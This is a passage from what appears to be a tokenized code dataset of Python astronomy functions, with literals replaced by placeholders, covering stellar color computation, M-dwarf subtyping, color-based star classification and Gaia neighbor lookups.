mk)<EOL>outdict['<STR_LIT>'].append(<EOL>thisbandlabel<EOL>)<EOL>for colorspec in BANDPASSES_COLORS[mk]['<STR_LIT>']:<EOL><INDENT>if colorspec[<NUM_LIT:0>] not in outdict:<EOL><INDENT>colorkey, colorlabel = colorspec<EOL>band1, band2 = colorkey.split('<STR_LIT:->')<EOL>if ('<STR_LIT>' % band1 in outdict and<EOL>'<STR_LIT>' % band2 in outdict and<EOL>np.isfinite(outdict['<STR_LIT>' % band1]) and<EOL>np.isfinite(outdict['<STR_LIT>' % band2])):<EOL><INDENT>outdict[colorkey] = (<EOL>outdict['<STR_LIT>' % band1] -<EOL>outdict['<STR_LIT>' % band2]<EOL>)<EOL>outdict['<STR_LIT>'].append(colorkey)<EOL>outdict['<STR_LIT>'].append(colorlabel)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>outdict['<STR_LIT>'] = False<EOL>outdict['<STR_LIT>' % mk] = <NUM_LIT:0.0><EOL>outdict['<STR_LIT>' % mk] = np.nan<EOL>for colorspec in our_bandpasses_colors[mk]['<STR_LIT>']:<EOL><INDENT>if colorspec[<NUM_LIT:0>] not in outdict:<EOL><INDENT>colorkey, colorlabel = colorspec<EOL>band1, band2 = colorkey.split('<STR_LIT:->')<EOL>if (band1 in outdict and<EOL>band2 in outdict and<EOL>outdict[band1] is not None and<EOL>outdict[band2] is not None and<EOL>np.isfinite(outdict[band1]) and<EOL>np.isfinite(outdict[band2])):<EOL><INDENT>outdict[colorkey] = (<EOL>outdict[band1] -<EOL>outdict[band2]<EOL>)<EOL>outdict['<STR_LIT>'].append(colorkey)<EOL>outdict['<STR_LIT>'].append(colorlabel)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>outdict[mk] = np.nan<EOL><DEDENT><DEDENT>return outdict<EOL>", "docstring": "Stellar colors and dereddened stellar colors using 2MASS DUST API:\n\n    http://irsa.ipac.caltech.edu/applications/DUST/docs/dustProgramInterface.html\n\n    Parameters\n    ----------\n\n    in_objectinfo : dict\n        This is a dict that contains the object's magnitudes and positions. This\n        requires at least 'ra', and 'decl' as keys which correspond to the right\n        ascension and declination of the object, and one or more of the\n        following keys for object magnitudes::\n\n            'umag'  -> U mag             -> colors: U-B, U-V, U-g\n            'bmag'  -> B mag             -> colors: U-B, B-V\n            'vmag'  -> V mag             -> colors: U-V, B-V, V-R, V-I, V-K\n            'rmag'  -> R mag             -> colors: V-R, R-I\n            'imag'  -> I mag             -> colors: g-I, V-I, R-I, B-I\n            'jmag'  -> 2MASS J mag       -> colors: J-H, J-K, g-J, i-J\n            'hmag'  -> 2MASS H mag       -> colors: J-H, H-K\n            'kmag'  -> 2MASS Ks mag      -> colors: g-Ks, H-Ks, J-Ks, V-Ks\n            'sdssu' -> SDSS u mag        -> colors: u-g, u-V\n            'sdssg' -> SDSS g mag        -> colors: g-r, g-i, g-K, u-g, U-g, g-J\n            'sdssr' -> SDSS r mag        -> colors: r-i, g-r\n            'sdssi' -> SDSS i mag        -> colors: r-i, i-z, g-i, i-J, i-W1\n            'sdssz' -> SDSS z mag        -> colors: i-z, z-W2, g-z\n            'ujmag' -> UKIRT J mag       -> colors: J-H, H-K, J-K, g-J, i-J\n            'uhmag' -> UKIRT H mag       -> colors: J-H, H-K\n            'ukmag' -> UKIRT K mag       -> colors: g-K, H-K, J-K, V-K\n            'irac1' -> Spitzer IRAC1 mag -> colors: i-I1, I1-I2\n            'irac2' -> Spitzer IRAC2 mag -> colors: I1-I2, I2-I3\n            'irac3' -> Spitzer IRAC3 mag -> colors: I2-I3\n            'irac4' -> Spitzer IRAC4 mag -> colors: I3-I4\n            'wise1' -> WISE W1 mag       -> colors: i-W1, W1-W2\n            'wise2' -> WISE W2 mag       -> colors: W1-W2, W2-W3\n            'wise3' -> WISE W3 mag       -> colors: W2-W3\n            'wise4' -> WISE W4 mag       -> colors: W3-W4\n\n        These are basically taken from the available reddening bandpasses from\n        the 2MASS DUST service. If B, V, u, g, r, i, z aren't provided but 2MASS\n        J, H, Ks are all provided, the former will be calculated using the 2MASS\n        JHKs -> BVugriz conversion functions in :py:mod:`astrobase.magnitudes`.\n\n    deredden : bool\n        If True, will make sure all colors use dereddened mags where possible.\n\n    custom_bandpasses : dict\n        This is a dict used to define any custom bandpasses in the\n        `in_objectinfo` dict you want to make this function aware of and\n        generate colors for. Use the format below for this dict::\n\n            {\n            '<bandpass_key_1>':{'dustkey':'<twomass_dust_key_1>',\n                                'label':'<band_label_1>'\n                                'colors':[['<bandkey1>-<bandkey2>',\n                                           '<BAND1> - <BAND2>'],\n                                          ['<bandkey3>-<bandkey4>',\n                                           '<BAND3> - <BAND4>']]},\n            .\n            ...\n            .\n            '<bandpass_key_N>':{'dustkey':'<twomass_dust_key_N>',\n                                'label':'<band_label_N>'\n                                'colors':[['<bandkey1>-<bandkey2>',\n                                           '<BAND1> - <BAND2>'],\n                                          ['<bandkey3>-<bandkey4>',\n                                           '<BAND3> - <BAND4>']]},\n            }\n\n        Where:\n\n        `bandpass_key` is a key to use to refer to this bandpass in the\n        `objectinfo` dict, e.g. 'sdssg' for SDSS g band\n\n        `twomass_dust_key` is the key to use in the 2MASS DUST result table for\n        reddening per band-pass. For example, given the following DUST result\n        table (using http://irsa.ipac.caltech.edu/applications/DUST/)::\n\n            |Filter_name|LamEff |A_over_E_B_V_SandF|A_SandF|A_over_E_B_V_SFD|A_SFD|\n            |char       |float  |float             |float  |float           |float|\n            |           |microns|                  |mags   |                |mags |\n             CTIO U       0.3734              4.107   0.209            4.968 0.253\n             CTIO B       0.4309              3.641   0.186            4.325 0.221\n             CTIO V       0.5517              2.682   0.137            3.240 0.165\n            .\n            .\n            ...\n\n        The `twomass_dust_key` for 'vmag' would be 'CTIO V'. If you want to\n        skip DUST lookup and want to pass in a specific reddening magnitude\n        for your bandpass, use a float for the value of\n        `twomass_dust_key`. If you want to skip DUST lookup entirely for\n        this bandpass, use None for the value of `twomass_dust_key`.\n\n        `band_label` is the label to use for this bandpass, e.g. 'W1' for\n        WISE-1 band, 'u' for SDSS u, etc.\n\n        The 'colors' list contains color definitions for all colors you want\n        to generate using this bandpass. this list contains elements of the\n        form::\n\n            ['<bandkey1>-<bandkey2>','<BAND1> - <BAND2>']\n\n        where the the first item is the bandpass keys making up this color,\n        and the second item is the label for this color to be used by the\n        frontends. An example::\n\n            ['sdssu-sdssg','u - g']\n\n    dust_timeout : float\n        The timeout to use when contacting the 2MASS DUST web service.\n\n    Returns\n    -------\n\n    dict\n        An `objectinfo` dict with all of the generated colors, dereddened\n        magnitude,s dereddened colors, as specified in the input args is\n        returned.", "id": "f14717:m1"}
{"signature": "def mdwarf_subtype_from_sdsscolor(ri_color, iz_color):", "body": "<EOL>if np.isfinite(ri_color) and np.isfinite(iz_color):<EOL><INDENT>obj_sti = <NUM_LIT>*ri_color + <NUM_LIT>*(iz_color + <NUM_LIT>)<EOL>obj_sts = -<NUM_LIT>*ri_color + <NUM_LIT>*(iz_color + <NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>obj_sti = np.nan<EOL>obj_sts = np.nan<EOL><DEDENT>if (np.isfinite(obj_sti) and np.isfinite(obj_sts) and<EOL>(obj_sti > <NUM_LIT>) and (obj_sti < <NUM_LIT>)):<EOL><INDENT>if ((obj_sti > <NUM_LIT>) and (obj_sti < <NUM_LIT>)):<EOL><INDENT>m_class = '<STR_LIT>'<EOL><DEDENT>if ((obj_sti > <NUM_LIT>) and (obj_sti < <NUM_LIT>)):<EOL><INDENT>m_class = '<STR_LIT>'<EOL><DEDENT>if ((obj_sti > <NUM_LIT>) and (obj_sti < <NUM_LIT>)):<EOL><INDENT>m_class = '<STR_LIT>'<EOL><DEDENT>if ((obj_sti > <NUM_LIT>) and (obj_sti < <NUM_LIT>)):<EOL><INDENT>m_class = '<STR_LIT>'<EOL><DEDENT>if ((obj_sti > <NUM_LIT>) and (obj_sti < <NUM_LIT>)):<EOL><INDENT>m_class = '<STR_LIT>'<EOL><DEDENT>if ((obj_sti > <NUM_LIT>) and (obj_sti < <NUM_LIT>)):<EOL><INDENT>m_class = '<STR_LIT>'<EOL><DEDENT>if ((obj_sti > <NUM_LIT>) and (obj_sti < <NUM_LIT>)):<EOL><INDENT>m_class = '<STR_LIT>'<EOL><DEDENT>if ((obj_sti > <NUM_LIT>) and (obj_sti < <NUM_LIT>)):<EOL><INDENT>m_class = '<STR_LIT>'<EOL><DEDENT>if ((obj_sti > <NUM_LIT>) and (obj_sti < <NUM_LIT>)):<EOL><INDENT>m_class = '<STR_LIT>'<EOL><DEDENT>if ((obj_sti > <NUM_LIT>) and (obj_sti < <NUM_LIT>)):<EOL><INDENT>m_class = '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>m_class = None<EOL><DEDENT>return m_class, obj_sti, obj_sts<EOL>", "docstring": "This calculates the M-dwarf subtype given SDSS `r-i` and `i-z` colors.\n\n    Parameters\n    ----------\n\n    ri_color : float\n        The SDSS `r-i` color of the object.\n\n    iz_color : float\n        The SDSS `i-z` color of the object.\n\n    Returns\n    -------\n\n    (subtype, index1, index2) : tuple\n        `subtype`: if the star appears to be an M dwarf, will return an int\n        between 0 and 9 indicating its subtype, e.g. will return 4 for an M4\n        dwarf. If the object isn't an M dwarf, will return None\n\n        `index1`, `index2`: the M-dwarf color locus value and spread of this\n        object calculated from the `r-i` and `i-z` colors.", "id": "f14717:m2"}
{"signature": "def color_classification(colorfeatures, pmfeatures):", "body": "possible_classes = []<EOL>if not colorfeatures:<EOL><INDENT>return possible_classes<EOL><DEDENT>if not pmfeatures:<EOL><INDENT>return possible_classes<EOL><DEDENT>if ( ('<STR_LIT>' in colorfeatures) and<EOL>(colorfeatures['<STR_LIT>'] is not None) and<EOL>(np.isfinite(colorfeatures['<STR_LIT>'])) ):<EOL><INDENT>u = colorfeatures['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>u = np.nan<EOL><DEDENT>if ( ('<STR_LIT>' in colorfeatures) and<EOL>(colorfeatures['<STR_LIT>'] is not None) and<EOL>(np.isfinite(colorfeatures['<STR_LIT>'])) ):<EOL><INDENT>g = colorfeatures['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>g = np.nan<EOL><DEDENT>if ( ('<STR_LIT>' in colorfeatures) and<EOL>(colorfeatures['<STR_LIT>'] is not None) and<EOL>(np.isfinite(colorfeatures['<STR_LIT>'])) ):<EOL><INDENT>r = colorfeatures['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>r = np.nan<EOL><DEDENT>if ( ('<STR_LIT>' in colorfeatures) and<EOL>(colorfeatures['<STR_LIT>'] is not None) and<EOL>(np.isfinite(colorfeatures['<STR_LIT>'])) ):<EOL><INDENT>i = colorfeatures['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>i = np.nan<EOL><DEDENT>if ( ('<STR_LIT>' in colorfeatures) and<EOL>(colorfeatures['<STR_LIT>'] is not None) and<EOL>(np.isfinite(colorfeatures['<STR_LIT>'])) ):<EOL><INDENT>z = colorfeatures['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>z = np.nan<EOL><DEDENT>if ( ('<STR_LIT>' in colorfeatures) and<EOL>(colorfeatures['<STR_LIT>'] is not None) and<EOL>(np.isfinite(colorfeatures['<STR_LIT>'])) ):<EOL><INDENT>j = colorfeatures['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>j = np.nan<EOL><DEDENT>if ( ('<STR_LIT>' in colorfeatures) and<EOL>(colorfeatures['<STR_LIT>'] is not None) and<EOL>(np.isfinite(colorfeatures['<STR_LIT>'])) ):<EOL><INDENT>h = colorfeatures['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>h = np.nan<EOL><DEDENT>if ( ('<STR_LIT>' in colorfeatures) and<EOL>(colorfeatures['<STR_LIT>'] is not None) and<EOL>(np.isfinite(colorfeatures['<STR_LIT>'])) ):<EOL><INDENT>k = colorfeatures['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>k = np.nan<EOL><DEDENT>if '<STR_LIT>' in colorfeatures and colorfeatures['<STR_LIT>'] is not None:<EOL><INDENT>um = colorfeatures['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>um = np.nan<EOL><DEDENT>if '<STR_LIT>' in colorfeatures and colorfeatures['<STR_LIT>'] is not None:<EOL><INDENT>gm = colorfeatures['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>gm = np.nan<EOL><DEDENT>if '<STR_LIT>' in colorfeatures and colorfeatures['<STR_LIT>'] is not None:<EOL><INDENT>rm = colorfeatures['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>rm = np.nan<EOL><DEDENT>if '<STR_LIT>' in colorfeatures and colorfeatures['<STR_LIT>'] is not None:<EOL><INDENT>im = colorfeatures['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>im = np.nan<EOL><DEDENT>if '<STR_LIT>' in colorfeatures and colorfeatures['<STR_LIT>'] is not None:<EOL><INDENT>zm = colorfeatures['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>zm = np.nan<EOL><DEDENT>if '<STR_LIT>' in colorfeatures and colorfeatures['<STR_LIT>'] is not None:<EOL><INDENT>jm = colorfeatures['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>jm = np.nan<EOL><DEDENT>if '<STR_LIT>' in colorfeatures and colorfeatures['<STR_LIT>'] is not None:<EOL><INDENT>hm = colorfeatures['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>hm = np.nan<EOL><DEDENT>if '<STR_LIT>' in colorfeatures and colorfeatures['<STR_LIT>'] is not None:<EOL><INDENT>km = colorfeatures['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>km = np.nan<EOL><DEDENT>rpmj = pmfeatures['<STR_LIT>'] if np.isfinite(pmfeatures['<STR_LIT>']) else None<EOL>if (np.isfinite(u) and np.isfinite(g) and<EOL>np.isfinite(r) and np.isfinite(i) and<EOL>np.isfinite(z)):<EOL><INDENT>v_color = <NUM_LIT>*(u-g)-<NUM_LIT>*(g-r)+<NUM_LIT>*(r-i)+<NUM_LIT>*(i-z)<EOL><DEDENT>else:<EOL><INDENT>v_color = np.nan<EOL><DEDENT>if (np.isfinite(u) and np.isfinite(g) and np.isfinite(r)):<EOL><INDENT>p1_color = <NUM_LIT>*(u-g)+<NUM_LIT>*(g-r)-<NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>p1_color = np.nan<EOL><DEDENT>if (np.isfinite(u) and np.isfinite(g) and<EOL>np.isfinite(r) and np.isfinite(i)):<EOL><INDENT>l_color = -<NUM_LIT>*u + <NUM_LIT>*g - <NUM_LIT>*r - <NUM_LIT>*i + <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>l_color = np.nan<EOL><DEDENT>if (np.isfinite(u) and np.isfinite(g) and np.isfinite(r)):<EOL><INDENT>s_color = -<NUM_LIT>*u + <NUM_LIT>*g - <NUM_LIT>*r + <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>s_color = np.nan<EOL><DEDENT>if (np.isfinite(u) and np.isfinite(g) and np.isfinite(r)):<EOL><INDENT>d_ug = (u-g) + <NUM_LIT>*(g-r) - <NUM_LIT><EOL>d_gr = <NUM_LIT>*(u-g) - (g-r) - <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>d_ug, d_gr = np.nan, np.nan<EOL><DEDENT>m_subtype, m_sti, m_sts = mdwarf_subtype_from_sdsscolor(r-i, i-z)<EOL>if m_subtype and rpmj and rpmj > <NUM_LIT:1.0>:<EOL><INDENT>possible_classes.append('<STR_LIT:d>' + m_subtype)<EOL><DEDENT>if ( np.isfinite(u) and np.isfinite(g) and np.isfinite(r) and<EOL>((g-r) < -<NUM_LIT>) and ((g-r) > -<NUM_LIT:1.0>) and<EOL>((u-g) < <NUM_LIT>) and ((u-g) > -<NUM_LIT:1>) and<EOL>((u-g+<NUM_LIT:2>*(g-r)) < -<NUM_LIT:0.1>) ):<EOL><INDENT>possible_classes.append('<STR_LIT>')<EOL><DEDENT>if ( np.isfinite(u) and np.isfinite(g) and np.isfinite(r) and<EOL>((u-g) < <NUM_LIT>) and ((u-g) > <NUM_LIT>) and<EOL>((g-r) < <NUM_LIT>) and ((g-r) > -<NUM_LIT:0.5>) ):<EOL><INDENT>possible_classes.append('<STR_LIT>')<EOL><DEDENT>if ( (np.isfinite(p1_color) and np.isfinite(p1_color) and<EOL>np.isfinite(u) and np.isfinite(g) and np.isfinite(r) ) and<EOL>(p1_color < -<NUM_LIT>) and (p1_color > -<NUM_LIT>) and<EOL>((u-g) < <NUM_LIT>) and ((u-g) > <NUM_LIT>) and<EOL>((g-r) < <NUM_LIT>) and ((g-r) > <NUM_LIT>) ):<EOL><INDENT>possible_classes.append('<STR_LIT>')<EOL><DEDENT>if ( (np.isfinite(u) and np.isfinite(g) and np.isfinite(r) and<EOL>np.isfinite(l_color)) and<EOL>((g-r) < <NUM_LIT>) and ((g-r) > -<NUM_LIT:0.5>) and<EOL>((u-g) < <NUM_LIT>) and ((u-g) > <NUM_LIT>) and<EOL>(l_color > <NUM_LIT>) ):<EOL><INDENT>possible_classes.append('<STR_LIT>')<EOL><DEDENT>if ( (np.isfinite(p1_color) and np.isfinite(s_color)) and<EOL>(-<NUM_LIT:0.1> < p1_color < <NUM_LIT>) and (s_color > <NUM_LIT>) ):<EOL><INDENT>possible_classes.append('<STR_LIT>')<EOL><DEDENT>if ( (np.isfinite(g) and np.isfinite(g) and np.isfinite(r)) and<EOL>((g-r) < <NUM_LIT>) and ((g-r) > <NUM_LIT>) ):<EOL><INDENT>possible_classes.append('<STR_LIT>')<EOL><DEDENT>if ( (np.isfinite(g) and np.isfinite(r)) and<EOL>((g-r) < <NUM_LIT>) and ((g-r) > <NUM_LIT>) ):<EOL><INDENT>possible_classes.append('<STR_LIT>')<EOL><DEDENT>if ( (np.isfinite(u) and np.isfinite(g) and<EOL>np.isfinite(r) and np.isfinite(i) and<EOL>np.isfinite(l_color)) and<EOL>((g-r) > <NUM_LIT>) and ((g-r) < <NUM_LIT>) and<EOL>(l_color > <NUM_LIT>) and ((u-g) > <NUM_LIT>) and ((u-g) < <NUM_LIT>) and<EOL>((r-i) > <NUM_LIT>) and ((r-i) < <NUM_LIT>) ):<EOL><INDENT>possible_classes.append('<STR_LIT>')<EOL><DEDENT>if ( (np.isfinite(u) and np.isfinite(g) and<EOL>np.isfinite(r) and np.isfinite(s_color)) and<EOL>((u-g) < <NUM_LIT>) and ((u-g) > <NUM_LIT>) and<EOL>((g-r) < <NUM_LIT>) and ((g-r) > <NUM_LIT>) and<EOL>(s_color < -<NUM_LIT>) ):<EOL><INDENT>possible_classes.append('<STR_LIT>')<EOL><DEDENT>if ( (np.isfinite(g) and np.isfinite(r)) and<EOL>((g-r) < <NUM_LIT>) and ((g-r) > <NUM_LIT>) ):<EOL><INDENT>possible_classes.append('<STR_LIT>')<EOL><DEDENT>if ( (np.isfinite(g) and np.isfinite(r) and np.isfinite(i)) and<EOL>((g-r) > <NUM_LIT>) and ((r-i) < <NUM_LIT>) and ((r-i) > <NUM_LIT>) ):<EOL><INDENT>possible_classes.append('<STR_LIT>')<EOL><DEDENT>if ( (np.isfinite(j) and np.isfinite(h) and np.isfinite(k) and<EOL>np.isfinite(g) and np.isfinite(i)) and<EOL>((j-k) > <NUM_LIT>) and<EOL>((j-h) < (<NUM_LIT>*(j-k) + <NUM_LIT>)) and<EOL>((j-h) > (<NUM_LIT>*(j-k) + <NUM_LIT>)) and<EOL>((g-i) > (<NUM_LIT>*(i-k) - <NUM_LIT>)) ):<EOL><INDENT>possible_classes.append('<STR_LIT>')<EOL><DEDENT>if ( (np.isfinite(um) and np.isfinite(gm) and<EOL>np.isfinite(rm) and np.isfinite(im)) and<EOL>((um-gm) < <NUM_LIT>) and ((gm-rm) > -<NUM_LIT>) and<EOL>((gm-rm) < <NUM_LIT>) and ((rm-im) > <NUM_LIT:0.5>) and<EOL>((rm-im) < <NUM_LIT>) and<EOL>((gm-rm) > (-<NUM_LIT>*(rm-im)+<NUM_LIT>)) and<EOL>((gm-rm) < (<NUM_LIT>*(rm-im)+<NUM_LIT:0.5>)) ):<EOL><INDENT>possible_classes.append('<STR_LIT>')<EOL><DEDENT>if ( (np.isfinite(um) and np.isfinite(gm) and np.isfinite(rm) and<EOL>np.isfinite(im) and np.isfinite(zm)) and<EOL>(zm < <NUM_LIT>) and (um > <NUM_LIT>) and (gm > <NUM_LIT>) and<EOL>(rm > <NUM_LIT>) and ((im - zm) > <NUM_LIT>) ):<EOL><INDENT>possible_classes.append('<STR_LIT>')<EOL><DEDENT>if ( (np.isfinite(u) and np.isfinite(g) and np.isfinite(r) and<EOL>np.isfinite(i) and np.isfinite(z) and np.isfinite(d_ug) and<EOL>np.isfinite(d_gr)) and<EOL>((u-g) > <NUM_LIT>) and ((u-g) < <NUM_LIT>) and<EOL>(d_ug > -<NUM_LIT>) and (d_ug < <NUM_LIT>) and<EOL>(d_gr > <NUM_LIT>) and (d_gr < <NUM_LIT>) and<EOL>((r-i) > -<NUM_LIT>) and ((r-i) < <NUM_LIT>) and<EOL>((i-z) > -<NUM_LIT>) and ((i-z) < <NUM_LIT>) ):<EOL><INDENT>possible_classes.append('<STR_LIT>')<EOL><DEDENT>if ( (np.isfinite(u) and np.isfinite(g) and np.isfinite(r)) and<EOL>( (((u-g) > -<NUM_LIT:0.1>) and ((u-g) < <NUM_LIT>) and<EOL>((g-r) > -<NUM_LIT>) and ((g-r) < <NUM_LIT:0.5>)) or<EOL>((u-g) > (<NUM_LIT>*(g-r) + <NUM_LIT>)) ) ):<EOL><INDENT>possible_classes.append('<STR_LIT>')<EOL><DEDENT>return {'<STR_LIT>':possible_classes,<EOL>'<STR_LIT>':v_color,<EOL>'<STR_LIT>':p1_color,<EOL>'<STR_LIT>':s_color,<EOL>'<STR_LIT>':l_color,<EOL>'<STR_LIT>':d_ug,<EOL>'<STR_LIT>':d_gr,<EOL>'<STR_LIT>':m_sti,<EOL>'<STR_LIT>':m_sts}<EOL>", "docstring": "This calculates rough star type classifications based on star colors\n    in the ugrizJHK bands.\n\n    Uses the output from `color_features` and `coord_features`. By default,\n    `color_features` will use dereddened colors, as are expected by most\n    relations here.\n\n    Based on the color cuts from:\n\n    - SDSS SEGUE (Yanny+ 2009)\n    - SDSS QSO catalog (Schneider+ 2007)\n    - SDSS RR Lyrae catalog (Sesar+ 2011)\n    - SDSS M-dwarf catalog (West+ 2008)\n    - Helmi+ 2003\n    - Bochanski+ 2014\n\n    Parameters\n    ----------\n\n    colorfeatures : dict\n        This is the dict produced by the `color_features` function.\n\n    pmfeatures : dict\n        This is the dict produced by the `coord_features` function.\n\n    Returns\n    -------\n\n    dict\n        A dict containing all of the possible classes this object can belong to\n        as a list in the `color_classes` key, and values of the various color\n        indices used to arrive to that conclusion as the other keys.", "id": "f14717:m3"}
{"signature": "def neighbor_gaia_features(objectinfo,<EOL>lclist_kdtree,<EOL>neighbor_radius_arcsec,<EOL>gaia_matchdist_arcsec=<NUM_LIT>,<EOL>verbose=True,<EOL>gaia_submit_timeout=<NUM_LIT>,<EOL>gaia_submit_tries=<NUM_LIT:3>,<EOL>gaia_max_timeout=<NUM_LIT>,<EOL>gaia_mirror=None,<EOL>complete_query_later=True,<EOL>search_simbad=False):", "body": "<EOL>if ('<STR_LIT>' in objectinfo and '<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and objectinfo['<STR_LIT>'] is not None and<EOL>(isinstance(lclist_kdtree, cKDTree) or<EOL>isinstance(lclist_kdtree, KDTree))):<EOL><INDENT>ra, decl = objectinfo['<STR_LIT>'], objectinfo['<STR_LIT>']<EOL>cosdecl = np.cos(np.radians(decl))<EOL>sindecl = np.sin(np.radians(decl))<EOL>cosra = np.cos(np.radians(ra))<EOL>sinra = np.sin(np.radians(ra))<EOL>xyzdist = <NUM_LIT> * np.sin(np.radians(neighbor_radius_arcsec/<NUM_LIT>)/<NUM_LIT>)<EOL>kdt_dist, kdt_ind = lclist_kdtree.query(<EOL>[cosra*cosdecl,<EOL>sinra*cosdecl,<EOL>sindecl],<EOL>k=<NUM_LIT:100>,<EOL>distance_upper_bound=xyzdist<EOL>)<EOL>finite_distind = (np.isfinite(kdt_dist)) & (kdt_dist > <NUM_LIT:0>)<EOL>finite_dists = kdt_dist[finite_distind]<EOL>nbrindices = kdt_ind[finite_distind]<EOL>n_neighbors = finite_dists.size<EOL>if n_neighbors > <NUM_LIT:0>:<EOL><INDENT>closest_dist = finite_dists.min()<EOL>closest_dist_arcsec = (<EOL>np.degrees(<NUM_LIT>*np.arcsin(closest_dist/<NUM_LIT>))*<NUM_LIT><EOL>)<EOL>closest_dist_nbrind = nbrindices[finite_dists == finite_dists.min()]<EOL>resultdict = {<EOL>'<STR_LIT>':n_neighbors,<EOL>'<STR_LIT>':nbrindices,<EOL>'<STR_LIT>':np.degrees(<NUM_LIT>*np.arcsin(finite_dists/<NUM_LIT>))*<NUM_LIT>,<EOL>'<STR_LIT>':closest_dist_arcsec,<EOL>'<STR_LIT>':closest_dist_nbrind,<EOL>'<STR_LIT>':neighbor_radius_arcsec,<EOL>}<EOL><DEDENT>else:<EOL><INDENT>resultdict = {<EOL>'<STR_LIT>':<NUM_LIT:0>,<EOL>'<STR_LIT>':np.array([]),<EOL>'<STR_LIT>':np.array([]),<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.array([]),<EOL>'<STR_LIT>':neighbor_radius_arcsec,<EOL>}<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>LOGWARNING(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>resultdict = {<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.array([]),<EOL>'<STR_LIT>':np.array([]),<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.array([]),<EOL>'<STR_LIT>':neighbor_radius_arcsec,<EOL>}<EOL><DEDENT>if ('<STR_LIT>' in objectinfo and '<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and objectinfo['<STR_LIT>'] is not None):<EOL><INDENT>gaia_result = gaia.objectlist_conesearch(<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>neighbor_radius_arcsec,<EOL>verbose=verbose,<EOL>timeout=gaia_submit_timeout,<EOL>maxtimeout=gaia_max_timeout,<EOL>maxtries=gaia_submit_tries,<EOL>gaia_mirror=gaia_mirror,<EOL>complete_query_later=complete_query_later<EOL>)<EOL>if gaia_result:<EOL><INDENT>gaia_objlistf = gaia_result['<STR_LIT:result>']<EOL>with gzip.open(gaia_objlistf,'<STR_LIT:rb>') as infd:<EOL><INDENT>try:<EOL><INDENT>gaia_objlist = np.genfromtxt(<EOL>infd,<EOL>names=True,<EOL>delimiter='<STR_LIT:U+002C>',<EOL>dtype='<STR_LIT>',<EOL>usecols=(<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>,<NUM_LIT:5>,<NUM_LIT:6>,<NUM_LIT:7>,<NUM_LIT:8>,<NUM_LIT:9>,<NUM_LIT:10>,<NUM_LIT:11>,<NUM_LIT:12>)<EOL>)<EOL><DEDENT>except Exception as e:<EOL><INDENT>gaia_objlist = []<EOL><DEDENT><DEDENT>gaia_objlist = np.atleast_1d(gaia_objlist)<EOL>if gaia_objlist.size > <NUM_LIT:0>:<EOL><INDENT>stampres = skyview.get_stamp(objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'])<EOL>if (stampres and<EOL>'<STR_LIT>' in stampres and<EOL>stampres['<STR_LIT>'] is not None and<EOL>os.path.exists(stampres['<STR_LIT>'])):<EOL><INDENT>stampwcs = WCS(stampres['<STR_LIT>'])<EOL>gaia_xypos = stampwcs.all_world2pix(<EOL>np.column_stack((gaia_objlist['<STR_LIT>'],<EOL>gaia_objlist['<STR_LIT>'])),<EOL><NUM_LIT:1><EOL>)<EOL><DEDENT>else:<EOL><INDENT>gaia_xypos = None<EOL><DEDENT>if gaia_objlist['<STR_LIT>'][<NUM_LIT:0>] < gaia_matchdist_arcsec:<EOL><INDENT>if gaia_objlist.size > <NUM_LIT:1>:<EOL><INDENT>gaia_nneighbors = gaia_objlist[<NUM_LIT:1>:].size<EOL>gaia_status = (<EOL>'<STR_LIT>' %<EOL>gaia_nneighbors<EOL>)<EOL>gaia_ids = gaia_objlist['<STR_LIT>']<EOL>gaia_mags = gaia_objlist['<STR_LIT>']<EOL>gaia_parallaxes = gaia_objlist['<STR_LIT>']<EOL>gaia_parallax_errs = gaia_objlist['<STR_LIT>']<EOL>gaia_pmra = gaia_objlist['<STR_LIT>']<EOL>gaia_pmra_err = gaia_objlist['<STR_LIT>']<EOL>gaia_pmdecl = gaia_objlist['<STR_LIT>']<EOL>gaia_pmdecl_err = gaia_objlist['<STR_LIT>']<EOL>gaia_absolute_mags = magnitudes.absolute_gaia_magnitude(<EOL>gaia_mags, gaia_parallaxes<EOL>)<EOL>if ('<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>'])):<EOL><INDENT>gaiak_colors = gaia_mags - objectinfo['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>gaiak_colors = None<EOL><DEDENT>gaia_dists = gaia_objlist['<STR_LIT>']<EOL>gaia_closest_distarcsec = 